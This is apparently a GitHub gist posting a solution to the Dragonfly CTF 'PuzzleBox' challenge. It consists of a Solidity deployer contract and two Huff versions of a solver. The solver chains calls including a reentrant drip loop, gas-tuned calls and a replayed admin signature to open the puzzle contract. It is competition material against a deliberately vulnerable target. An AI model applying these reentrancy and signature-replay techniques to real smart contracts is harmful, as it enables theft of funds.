Skip to content

Instantly share code, notes, and snippets.

@horsefacts
Last active May 8, 2023 22:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save horsefacts/80b943c1773623b00d1b4469f9af6703 to your computer and use it in GitHub Desktop.
Save horsefacts/80b943c1773623b00d1b4469f9af6703 to your computer and use it in GitHub Desktop.
Dragonfly CTF - Huff
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./PuzzleBox.sol";
contract PuzzleBoxSolution {
fallback() external payable {
// Compiled output of Solver.huff
// https://gist.github.com/horsefacts/80b943c1773623b00d1b4469f9af6703#file-solver-huff
bytes memory code = (
hex"60208038033439345180637159a61860e01b3452346020343434945af1508063"
hex"deecedd460e01b345263925facb160e01b600452346044343434945af1506101"
hex"cf8060483d393df3343d14610028576101b4471161001157005b33639f678cca"
hex"60e01b3d523d60203d473d945af150005b60043580639f678cca60e01b345234"
hex"6020344734945af15080638fd66f2560e01b3452346020343434945af1508060"
hex"0201343434600134945af150806291905560e01b3452346020343434945af150"
hex"80631155105260e01b34523460203434349462017ed0f1508063925facb160e0"
hex"1b34526001600452346024536020602552600660455260026065526004608552"
hex"600660a552600760c552600860e55260096101055234610125343434945af150"
hex"80632b071e4760e01b345260406004526080602452600160445273416e59dacf"
hex"db5d457304115bbfb9089531d873b7606452600360845273c817dd2a5daa8f79"
hex"0677e399170c92aabd044b5760a452609660c452604b60e45234610104343434"
hex"945af150806358657dcf60e01b34527fc8f549a7e4cb7e1c60d908cc05ceff53"
hex"ad731e6ea0736edf7ffeea588dfb42d8600452604060245260416044527fc8f5"
hex"49a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d86064"
hex"527f9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc"
hex"8a62608452601b60f81b60a4523460c4343434945af150"
);
assembly {
// load puzzle address from calldata
let puzzle := calldataload(0x04)
// Append puzzle address to end of contract bytecode
let len := mload(code)
mstore(add(add(code, len), 0x20), puzzle)
mstore(code, add(len, 0x20))
// Create solver contract
let solver := create(0, add(code, 0x20), mload(code))
// Call solver, passing puzzle address as arg
mstore(0x04, puzzle)
pop(call(gas(), solver, 0, 0, 0x24, 0, 0))
}
}
}
#define constant ONE_WORD = 0x20
#define constant SELECTOR_SIZE = 0x04
#define constant SELECTOR_SHIFT = 0xe0
#define constant CREEP_SELECTOR = 0x11551052
#define constant DRIP_SELECTOR = 0x9f678cca
#define constant LEAK_SELECTOR = 0x8fd66f25
#define constant LOCK_SELECTOR = 0xdeecedd4
#define constant OPEN_SELECTOR = 0x58657dcf
#define constant OPERATE_SELECTOR = 0x7159a618
#define constant SPREAD_SELECTOR = 0x2b071e47
#define constant TORCH_SELECTOR = 0x925facb1
#define constant ZIP_SELECTOR = 0x00919055
// Load the puzzle address from calldata
#define macro LOAD_PUZZLE_ADDR() = takes(0) returns (1) {
0x04 calldataload
}
// Load the puzzle address from the last 20 bytes of contract bytecode
#define macro LOAD_CONSTRUCTOR_ARG() = takes(0) returns (1) {
0x20 dup1 codesize sub callvalue codecopy
callvalue mload
}
// make a simple call with no value or args.
// Read address from stack.
// Return address to stack.
#define macro CALL(selector) = takes(1) returns (1) {
dup1
<selector> [SELECTOR_SHIFT] shl
callvalue mstore
callvalue [ONE_WORD] callvalue callvalue callvalue swap5 gas
call pop
}
// Call operate().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro OPERATE() = takes(1) returns (1) {
CALL(OPERATE_SELECTOR)
}
// Call unlock().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro UNLOCK() = takes(1) returns (1) {
dup1
[LOCK_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl [SELECTOR_SIZE] mstore
callvalue 0x44 callvalue callvalue callvalue swap5 gas
call pop
}
// Call drip(), sending full balance.
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro DRIP() = takes(1) returns (1) {
dup1
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
callvalue [ONE_WORD] callvalue selfbalance callvalue swap5 gas
call pop
}
// Call leak().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro LEAK() = takes(1) returns (1) {
CALL(LEAK_SELECTOR)
}
// Send 1 wei to warm address + 0x02.
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro WARM() = takes(1) returns (1) {
dup1
0x02 add
callvalue callvalue callvalue 0x01 callvalue swap5 gas
call pop
}
// Call zip().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro ZIP() = takes(1) returns (1) {
CALL(ZIP_SELECTOR)
}
// Call creep().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro CREEP() = takes(1) returns (1) {
dup1
[CREEP_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
callvalue [ONE_WORD] callvalue callvalue callvalue swap5 0x17ed0
call pop
}
// Call torch().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro TORCH() = takes(1) returns (1) {
dup1
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
0x01 [SELECTOR_SIZE] mstore // bytes offset
callvalue 0x24 mstore8 // extra zero byte
0x20 0x25 mstore // Array offset
0x06 0x45 mstore // Array length
0x02 0x65 mstore // uint256(2)
0x04 0x85 mstore // uint256(4)
0x06 0xa5 mstore // uint256(6)
0x07 0xc5 mstore // uint256(7)
0x08 0xe5 mstore // uint256(8)
0x09 0x105 mstore // uint256(9)
callvalue 0x125 callvalue callvalue callvalue swap5 gas
call pop
}
// Call spread().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro SPREAD() = takes(1) returns (1) {
dup1
[SPREAD_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
0x40 [SELECTOR_SIZE] mstore // address[] friends offset
0x80 0x24 mstore // uint256[] friendsCutBps offset
0x01 0x44 mstore // friends length
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore // friends[0]
0x03 0x84 mstore // friendsCutBps length
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore // friendsCutBps[0]
0x96 0xc4 mstore // friendsCutBps[1]
0x4b 0xe4 mstore // friendsCutBps[2]
callvalue 0x104 callvalue callvalue callvalue swap5 gas
call pop
}
// Call open().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro OPEN() = takes(1) returns (1) {
dup1
[OPEN_SELECTOR] [SELECTOR_SHIFT] shl
callvalue mstore
// uint256 nonce argument
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 [SELECTOR_SIZE] mstore
// bytes adminSig argument
0x40 0x24 mstore // bytes offset
0x41 0x44 mstore // bytes length
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 0x64 mstore // Signature r
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore // Signature s
0x1b 0xf8 shl 0xa4 mstore // Signature v
callvalue 0xc4 callvalue callvalue callvalue swap5 gas
call pop
}
// Call PuzzleBox functions in order to solve the puzzle.
#define macro SOLVE() = takes(0) returns (0) {
// Load puzzle address from calldata:
LOAD_PUZZLE_ADDR() // [puzzle_addr]
// Each subsequent call reads puzzle_addr
// and returns it to the stack.
DRIP() // [puzzle_addr]
LEAK() // [puzzle_addr]
WARM() // [puzzle_addr]
ZIP() // [puzzle_addr]
CREEP() // [puzzle_addr]
TORCH() // [puzzle_addr]
SPREAD() // [puzzle_addr]
OPEN() // [puzzle_addr]
}
#define macro FALLBACK() = takes(0) returns (0) {
// If we haven't minted enough drips, reenter.
0x1b4 selfbalance gt drip jumpi
stop
drip:
// We can use caller() here instead of loading the puzzle address
caller
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl
returndatasize mstore
returndatasize [ONE_WORD] returndatasize selfbalance returndatasize swap5 gas
call pop
}
#define macro CONSTRUCTOR() = takes (0) returns (0) {
// Load puzzle address from bytecode:
LOAD_CONSTRUCTOR_ARG() // [puzzle_addr]
// Each subsequent call reads puzzle_addr
// and returns it to the stack.
OPERATE() // [puzzle_addr]
UNLOCK() // [puzzle_addr]
}
#define macro MAIN() = takes (0) returns (0) {
// If we're not receiving an ether refund from drip(),
// jump to SOLVE().
callvalue returndatasize eq solve jumpi
// Otherwise, fall back.
FALLBACK()
stop
solve:
SOLVE()
}
#define constant ONE_WORD = 0x20
#define constant SELECTOR_SIZE = 0x04
#define constant SELECTOR_SHIFT = 0xe0
#define constant CREEP_SELECTOR = 0x11551052
#define constant DRIP_SELECTOR = 0x9f678cca
#define constant LEAK_SELECTOR = 0x8fd66f25
#define constant LOCK_SELECTOR = 0xdeecedd4
#define constant OPEN_SELECTOR = 0x58657dcf
#define constant OPERATE_SELECTOR = 0x7159a618
#define constant SPREAD_SELECTOR = 0x2b071e47
#define constant TORCH_SELECTOR = 0x925facb1
#define constant ZIP_SELECTOR = 0x00919055
// Load the puzzle address from calldata
#define macro LOAD_PUZZLE_ADDR() = takes(0) returns (1) {
0x04 calldataload
}
// Load the puzzle address from the last 20 bytes of contract bytecode
#define macro LOAD_CONSTRUCTOR_ARG() = takes(0) returns (1) {
0x20 dup1 codesize sub push0 codecopy
push0 mload
}
// make a simple call with no value or args.
// Read address from stack.
// Return address to stack.
#define macro CALL(selector) = takes(1) returns (1) {
dup1
<selector> [SELECTOR_SHIFT] shl
push0 mstore
push0 [ONE_WORD] push0 push0 push0 swap5 gas
call pop
}
// Call operate().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro OPERATE() = takes(1) returns (1) {
CALL(OPERATE_SELECTOR)
}
// Call unlock().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro UNLOCK() = takes(1) returns (1) {
dup1
[LOCK_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl [SELECTOR_SIZE] mstore
push0 0x44 push0 push0 push0 swap5 gas
call pop
}
// Call drip(), sending full balance.
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro DRIP() = takes(1) returns (1) {
dup1
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
push0 [ONE_WORD] push0 selfbalance push0 swap5 gas
call pop
}
// Call leak().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro LEAK() = takes(1) returns (1) {
CALL(LEAK_SELECTOR)
}
// Send 1 wei to warm address + 0x02.
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro WARM() = takes(1) returns (1) {
dup1
0x02 add
push0 push0 push0 0x01 push0 swap5 gas
call pop
}
// Call zip().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro ZIP() = takes(1) returns (1) {
CALL(ZIP_SELECTOR)
}
// Call creep().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro CREEP() = takes(1) returns (1) {
dup1
[CREEP_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
push0 [ONE_WORD] push0 push0 push0 swap5 0x17ed0
call pop
}
// Call torch().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro TORCH() = takes(1) returns (1) {
dup1
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
0x01 [SELECTOR_SIZE] mstore // bytes offset
push0 0x24 mstore8 // extra zero byte
0x20 0x25 mstore // Array offset
0x06 0x45 mstore // Array length
0x02 0x65 mstore // uint256(2)
0x04 0x85 mstore // uint256(4)
0x06 0xa5 mstore // uint256(6)
0x07 0xc5 mstore // uint256(7)
0x08 0xe5 mstore // uint256(8)
0x09 0x105 mstore // uint256(9)
push0 0x125 push0 push0 push0 swap5 gas
call pop
}
// Call spread().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro SPREAD() = takes(1) returns (1) {
dup1
[SPREAD_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
0x40 [SELECTOR_SIZE] mstore // address[] friends offset
0x80 0x24 mstore // uint256[] friendsCutBps offset
0x01 0x44 mstore // friends length
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore // friends[0]
0x03 0x84 mstore // friendsCutBps length
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore // friendsCutBps[0]
0x96 0xc4 mstore // friendsCutBps[1]
0x4b 0xe4 mstore // friendsCutBps[2]
push0 0x104 push0 push0 push0 swap5 gas
call pop
}
// Call open().
// Reads PuzzleBox address from stack.
// Returns PuzzleBox address to stack.
#define macro OPEN() = takes(1) returns (1) {
dup1
[OPEN_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
// uint256 nonce argument
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 [SELECTOR_SIZE] mstore
// bytes adminSig argument
0x40 0x24 mstore // bytes offset
0x41 0x44 mstore // bytes length
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 0x64 mstore // Signature r
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore // Signature s
0x1b 0xf8 shl 0xa4 mstore // Signature v
push0 0xc4 push0 push0 push0 swap5 gas
call pop
}
// Call PuzzleBox functions in order to solve the puzzle.
#define macro SOLVE() = takes(0) returns (0) {
// Load puzzle address from calldata:
LOAD_PUZZLE_ADDR() // [puzzle_addr]
// Each subsequent call reads puzzle_addr
// and returns it to the stack.
DRIP() // [puzzle_addr]
LEAK() // [puzzle_addr]
WARM() // [puzzle_addr]
ZIP() // [puzzle_addr]
CREEP() // [puzzle_addr]
TORCH() // [puzzle_addr]
SPREAD() // [puzzle_addr]
OPEN() // [puzzle_addr]
}
#define macro FALLBACK() = takes(0) returns (0) {
// If we haven't minted enough drips, reenter.
0x1b4 selfbalance gt drip jumpi
stop
drip:
// We can use caller() here instead of loading the puzzle address
caller
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl
push0 mstore
push0 [ONE_WORD] push0 selfbalance push0 swap5 gas
call pop
}
#define macro CONSTRUCTOR() = takes (0) returns (0) {
// Load puzzle address from bytecode:
LOAD_CONSTRUCTOR_ARG() // [puzzle_addr]
// Each subsequent call reads puzzle_addr
// and returns it to the stack.
OPERATE() // [puzzle_addr]
UNLOCK() // [puzzle_addr]
}
#define macro MAIN() = takes (0) returns (0) {
// If we're not receiving an ether refund from drip(),
// jump to SOLVE().
callvalue returndatasize eq solve jumpi
// Otherwise, fall back.
FALLBACK()
stop
solve:
SOLVE()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment